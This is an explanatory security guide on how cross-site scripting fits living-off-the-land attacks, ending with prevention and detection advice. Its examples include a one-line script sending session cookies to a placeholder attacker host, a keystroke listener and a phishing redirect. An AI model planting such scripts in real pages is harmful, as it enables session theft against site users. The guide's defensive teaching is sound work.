XSS & LOtL Attacks: A Practical Guide

TL;DR

Yes, Cross-Site Scripting (XSS) attacks *can* be Living Off the Land (LOtL) attacks. While XSS isn’t always considered a ‘classic’ LOtL technique, attackers frequently use legitimate tools and processes already present on a system – including web browsers and their scripting capabilities – to achieve their goals after exploiting an XSS vulnerability. This guide explains how this works and what you can do about it.

What are Living Off the Land (LOtL) Attacks?

Living Off The Land attacks involve using tools already installed on a target system to carry out malicious activities. Think of it like an intruder using your own kitchen knives instead of bringing their own weapons. This makes detection harder because these actions often look like normal, everyday processes.

How XSS Fits into LOtL

XSS allows attackers to inject malicious scripts into websites viewed by other users. Once injected, these scripts run *within the user’s browser*, using the browser’s own capabilities. This is where it becomes a LOtL technique:

• Browser as the Tool: The attacker isn’t installing new software; they are exploiting the existing functionality of the web browser (JavaScript engine, DOM manipulation).
• Legitimate Processes: The script executes within the context of a trusted process – the user’s web browser. This can bypass some security measures that focus on detecting unknown executables.
• Access to System Resources: Depending on the browser’s permissions and the website’s functionality, XSS scripts can access cookies, local storage, and even make network requests on behalf of the user.

Examples of LOtL Activities After XSS Exploitation

1. Credential Theft: An XSS script can steal a user’s session cookie and send it to the attacker.

   // Example JavaScript to steal cookies (simplified)

   document.location='http://attacker.com/steal.php?cookie='+document.cookie;

2. Keylogging: Scripts can capture keystrokes on a compromised page.

   // Example JavaScript to log key presses (simplified)

   document.addEventListener('keydown', function(event) { console.log(event.key); });

3. Redirection to Phishing Sites: Redirecting users to fake login pages.

   // Example JavaScript to redirect a user (simplified)

   window.location.href = 'http://phishingsite.com';

4. Exploiting Browser Extensions: If the victim has vulnerable browser extensions, XSS can be used to interact with them.
5. Using Built-in Browser Tools: Accessing and manipulating the browser’s local storage or IndexedDB.

How to Prevent XSS (and thus mitigate LOtL risks)

1. Input Validation: Never trust user input. Sanitize all data before displaying it on your website.
   • Whitelisting: Only allow known good characters and formats.
   • Escaping: Convert special characters into their HTML entities (e.g., < becomes &lt;). Use a library designed for this purpose – don’t try to write your own!
2. Output Encoding: Encode data based on where it’s being used in the HTML.
3. Content Security Policy (CSP): Tell the browser which sources of content are allowed. This can prevent malicious scripts from loading.

   // Example CSP header

   Content-Security-Policy: default-src 'self'; script-src 'self' https://trustedcdn.com;

4. HTTPOnly Cookies: Prevent JavaScript from accessing session cookies.
5. Regular Security Audits & Penetration Testing: Identify and fix XSS vulnerabilities before attackers do.
6. Keep Software Updated: Ensure your web server, frameworks, and libraries are up-to-date with the latest security patches.

Detection

Detecting LOtL attacks stemming from XSS can be tricky. Look for:

• Unusual JavaScript Activity: Monitor for scripts making unexpected network requests or manipulating DOM elements in suspicious ways.
• Browser Extension Anomalies: Watch for extensions behaving strangely or accessing resources they shouldn’t.
• Unexpected Redirections: Track users being redirected to unfamiliar domains.